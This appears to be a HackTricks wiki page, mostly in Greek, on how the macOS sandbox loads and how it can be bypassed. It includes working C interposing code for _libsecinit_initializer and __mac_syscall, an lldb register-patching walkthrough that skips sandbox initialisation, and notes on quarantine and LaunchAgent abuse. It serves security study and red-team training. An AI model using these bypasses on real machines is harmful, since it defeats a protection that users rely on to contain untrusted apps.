HackTricks TrainingTwitterLinkedinSponsor

macOS Sandbox Debug & Bypass

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Sandbox loading process

Image from http://newosxbook.com/files/HITSB.pdf

Στην προηγούμενη εικόνα είναι δυνατόν να παρατηρηθεί πώς θα φορτωθεί το sandbox όταν εκτελείται μια εφαρμογή με την εξουσιοδότηση com.apple.security.app-sandbox.

Ο μεταγλωττιστής θα συνδέσει το /usr/lib/libSystem.B.dylib με το δυαδικό αρχείο.

Στη συνέχεια, libSystem.B θα καλεί πολλές άλλες συναρτήσεις μέχρι να στείλει η xpc_pipe_routine τις εξουσιοδοτήσεις της εφαρμογής στο securityd. Το Securityd ελέγχει αν η διαδικασία θα πρέπει να είναι σε καραντίνα μέσα στο Sandbox, και αν ναι, θα τεθεί σε καραντίνα. Τέλος, το sandbox θα ενεργοποιηθεί με μια κλήση στο __sandbox_ms που θα καλέσει το __mac_syscall.

Possible Bypasses

Bypassing quarantine attribute

Τα αρχεία που δημιουργούνται από διαδικασίες που είναι σε sandbox προστίθεται το quarantine attribute για να αποτραπεί η διαφυγή από το sandbox. Ωστόσο, αν καταφέρετε να δημιουργήσετε έναν φάκελο .app χωρίς το quarantine attribute μέσα σε μια εφαρμογή που είναι σε sandbox, θα μπορούσατε να κάνετε το δυαδικό αρχείο της εφαρμογής να δείχνει στο /bin/bash και να προσθέσετε κάποιες μεταβλητές περιβάλλοντος στο plist για να εκμεταλλευτείτε το open για να εκκινήσετε την νέα εφαρμογή χωρίς sandbox.

Αυτό είναι αυτό που έγινε στο CVE-2023-32364.

Επομένως, αυτή τη στιγμή, αν είστε απλώς ικανοί να δημιουργήσετε έναν φάκελο με όνομα που τελειώνει σε .app χωρίς το quarantine attribute, μπορείτε να διαφύγετε από το sandbox γιατί το macOS μόνο ελέγχει το quarantine attribute στον φάκελο .app και στο κύριο εκτελέσιμο (και θα δείξουμε το κύριο εκτελέσιμο στο /bin/bash).

Σημειώστε ότι αν ένα πακέτο .app έχει ήδη εξουσιοδοτηθεί να εκτελείται (έχει ένα quarantine xttr με την εξουσιοδότηση να εκτελείται), θα μπορούσατε επίσης να το εκμεταλλευτείτε... εκτός αν τώρα δεν μπορείτε να γράψετε μέσα σε πακέτα .app εκτός αν έχετε κάποιες προνομιακές άδειες TCC (που δεν θα έχετε μέσα σε ένα sandbox υψηλής ασφάλειας).

Abusing Open functionality

Στα τελευταία παραδείγματα παράκαμψης του Word sandbox μπορεί να εκτιμηθεί πώς η λειτουργικότητα open της γραμμής εντολών θα μπορούσε να εκμεταλλευτεί για να παρακαμφθεί το sandbox.

macOS Office Sandbox Bypasses

Launch Agents/Daemons

Ακόμα και αν μια εφαρμογή είναι σχεδιασμένη να είναι σε sandbox (com.apple.security.app-sandbox), είναι δυνατόν να παρακαμφθεί το sandbox αν εκτελείται από έναν LaunchAgent (~/Library/LaunchAgents) για παράδειγμα. Όπως εξηγήθηκε σε αυτή την ανάρτηση, αν θέλετε να αποκτήσετε επιμονή με μια εφαρμογή που είναι σε sandbox, θα μπορούσατε να την κάνετε να εκτελείται αυτόματα ως LaunchAgent και ίσως να εισάγετε κακόβουλο κώδικα μέσω μεταβλητών περιβάλλοντος DyLib.

Abusing Auto Start Locations

Αν μια διαδικασία που είναι σε sandbox μπορεί να γράψει σε ένα μέρος όπου αργότερα μια εφαρμογή χωρίς sandbox θα εκτελέσει το δυαδικό αρχείο, θα μπορέσει να διαφύγει απλά τοποθετώντας εκεί το δυαδικό αρχείο. Ένα καλό παράδειγμα αυτού του είδους τοποθεσιών είναι το ~/Library/LaunchAgents ή το /System/Library/LaunchDaemons.

Για αυτό μπορεί να χρειαστείτε 2 βήματα: Να κάνετε μια διαδικασία με ένα πιο επιεική sandbox (file-read*, file-write*) να εκτελέσει τον κώδικά σας που θα γράψει σε ένα μέρος όπου θα εκτελείται χωρίς sandbox.

Δείτε αυτή τη σελίδα σχετικά με τις τοποθεσίες αυτόματης εκκίνησης:

macOS Auto Start

Abusing other processes

Αν από τη διαδικασία sandbox μπορείτε να συμβιβάσετε άλλες διαδικασίες που εκτελούνται σε λιγότερο περιορισμένα sandbox (ή καθόλου), θα μπορέσετε να διαφύγετε στα sandbox τους:

macOS Process Abuse

Static Compiling & Dynamically linking

Αυτή η έρευνα ανακάλυψε 2 τρόπους για να παρακαμφθεί το Sandbox. Επειδή το sandbox εφαρμόζεται από το userland όταν φορτώνεται η βιβλιοθήκη libSystem. Αν ένα δυαδικό αρχείο μπορούσε να αποφύγει τη φόρτωσή της, δεν θα είχε ποτέ sandbox:

  • Αν το δυαδικό αρχείο ήταν εντελώς στατικά μεταγλωττισμένο, θα μπορούσε να αποφύγει τη φόρτωση αυτής της βιβλιοθήκης.

  • Αν το δυαδικό αρχείο δεν χρειαζόταν να φορτώσει καμία βιβλιοθήκη (επειδή ο σύνδεσμος είναι επίσης στη libSystem), δεν θα χρειαστεί να φορτώσει τη libSystem.

Shellcodes

Σημειώστε ότι ακόμα και οι shellcodes σε ARM64 χρειάζονται να συνδεθούν στη libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

Σημειώστε ότι ακόμη και αν ορισμένες ενέργειες μπορεί να είναι επιτρεπτές από το sandbox αν μια εφαρμογή έχει μια συγκεκριμένη δικαιοδοσία, όπως στο:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Για περισσότερες πληροφορίες σχετικά με το Interposting ελέγξτε:

macOS Function Hooking

Interpost _libsecinit_initializer για να αποτρέψετε το sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost __mac_syscall για να αποτρέψετε το Sandbox

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

Ας συντάξουμε μια εφαρμογή που θα πρέπει να είναι sandboxed:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

Στη συνέχεια, μεταγλωττίστε την εφαρμογή:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

Η εφαρμογή θα προσπαθήσει να διαβάσει το αρχείο ~/Desktop/del.txt, το οποίο η Sandbox δεν θα επιτρέψει. Δημιουργήστε ένα αρχείο εκεί καθώς μόλις παρακαμφθεί η Sandbox, θα μπορεί να το διαβάσει:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Ας αποσφαλματώσουμε την εφαρμογή για να δούμε πότε φορτώνεται το Sandbox:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

Ακόμα και με το Sandbox παρακάμπτεται, το TCC θα ρωτήσει τον χρήστη αν θέλει να επιτρέψει στη διαδικασία να διαβάσει αρχεία από την επιφάνεια εργασίας

Αναφορές

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
PreviousmacOS Default Sandbox DebugNextmacOS Office Sandbox Bypasses

Last updated